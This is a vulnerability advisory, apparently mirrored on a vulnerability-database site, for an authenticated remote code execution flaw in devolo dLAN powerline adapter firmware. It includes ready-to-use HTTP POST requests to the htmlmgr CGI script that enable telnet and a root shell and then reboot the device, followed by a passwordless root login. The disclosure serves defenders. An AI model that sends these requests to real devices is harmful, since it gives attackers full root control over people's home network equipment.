Lucene search
K

devolo dLAN 550 duo+ Starter Kit Remote Code Execution

🗓️ 03 Feb 2019 00:00:00Reported by Stefan PetrushevskiType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 91 Views

devolo dLAN 550 duo+ Starter Kit Remote Code Execution. 'hidden' services enable authenticated attacker to achieve remote arbitrary code execution with root privileges

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2019-25249
24 Dec 202520:25
circl
CNNVD
Devolo dLAN 500 AV Wireless+ 安全漏洞
24 Dec 202500:00
cnnvd
CVE
CVE-2019-25249
24 Dec 202519:28
cve
Cvelist
CVE-2019-25249 devolo dLAN 500 AV Wireless+ 3.1.0-1 Remote Code Execution via htmlmgr
24 Dec 202519:28
cvelist
EUVD
EUVD-2025-205315
24 Dec 202521:30
euvd
NVD
CVE-2019-25249
24 Dec 202520:15
nvd
Positive Technologies
PT-2025-53335
24 Dec 202500:00
ptsecurity
Vulnrichment
CVE-2019-25249 devolo dLAN 500 AV Wireless+ 3.1.0-1 Remote Code Execution via htmlmgr
24 Dec 202519:28
vulnrichment
<html><body><p>devolo dLAN 550 duo+ Starter Kit Remote Code Execution


Vendor: devolo AG
Product web page: https://www.devolo.com
Affected version: dLAN 500 AV Wireless+ 3.1.0-1 (i386)

Summary: Devolo dLAN® 550 duo+ Starter Kit is Powerlineadapter which is
a cost-effective and helpful networking alternative for any location
without structured network wiring. Especially in buildings or residences
lacking network cables or where updating the wiring would be expensive
and complicated, Powerline adapters provide networking at high transmission
rates.

Desc: The devolo firmware has what seems to be a 'hidden' services which
can be enabled by authenticated attacker via the the htmlmgr CGI script.
This allows the attacker to start services that are deprecated or discontinued
and achieve remote arbitrary code execution with root privileges.

Tested on: Linux 2.6.31


Vulnerability discovered by Stefan Petrushevski aka sm
                            @zeroscience


Advisory ID: ZSL-2019-5508
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5508.php


04.10.2017

--

The htmlmgr cgi script that is accessible via web, does not validate or sanitize
the configuration parameters that a user wants to change. This allows an attacker
to change configuration parametersincluding parameters that are not even shown in
the web administration panel.

One service that is possible for an attacker to enable is telnet and remote maintenance
shell service and then proceed to login in with the 'root' user which doesn't have a password.

In order for an attacker to achieve this, he would need to change the following two values:
System.Baptization.Telnetd  &lt;- to enable telnet
System.Baptization.shell  	&lt;- to enable remote maintenance shell

--------
POST /cgi-bin/htmlmgr HTTP/1.1
Host: DEVOLO-IP

%3Asys%3ASystem.Baptization.Telnetd=1&amp;_okdir=spec&amp;_okpage=result&amp;_okfollowdir=status&amp;_okfollowpage=wireless&amp;_okplain=1&amp;_oktype=wlanstatus&amp;_file=%2Fwgl%2Fmain.wgl&amp;_style=std&amp;_lang=&amp;_dir=wireless&amp;_page=wps&amp;_idx=&amp;_sid=&amp;_csrf=
--------

--------
POST /cgi-bin/htmlmgr HTTP/1.1
Host: DEVOLO-IP

%3Asys%3ASystem.Baptization.shell=1&amp;_okdir=spec&amp;_okpage=result&amp;_okfollowdir=status&amp;_okfollowpage=wireless&amp;_okplain=1&amp;_oktype=wlanstatus&amp;_file=%2Fwgl%2Fmain.wgl&amp;_style=std&amp;_lang=&amp;_dir=wireless&amp;_page=wps&amp;_idx=&amp;_sid=&amp;_csrf=
--------

Since the configuration is read from a file on boot time, an attacker would also
need to somehow make the device to restart. This can be done by issuing the 'reboot'
command again from the html cgi script: System.Reboot

--------
POST /cgi-bin/htmlmgr HTTP/1.1
Host: DEVOLO-IP

%3Asys%3ASystem.Reboot=OLACANYOUREBOOT&amp;_okdir=spec&amp;_okpage=result&amp;_okfollowdir=status&amp;_okfollowpage=wireless&amp;_okplain=1&amp;_oktype=wlanstatus&amp;_file=%2Fwgl%2Fmain.wgl&amp;_style=std&amp;_lang=&amp;_dir=wireless&amp;_page=wps&amp;_idx=&amp;_sid=&amp;_csrf=
--------

After the reboot the devolo device will have a telnet service on TCP port 23 opened
and an attacker can now login to the device with user 'root' and no password.

--------
Trying DEVOLO-IP...
Connected to DEVOLO-IP.
Escape character is '^]'.

dlanwireless login: root
# whoami
root
# 
--------

The attacker then has complete access over the device. t00t.
</p></body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation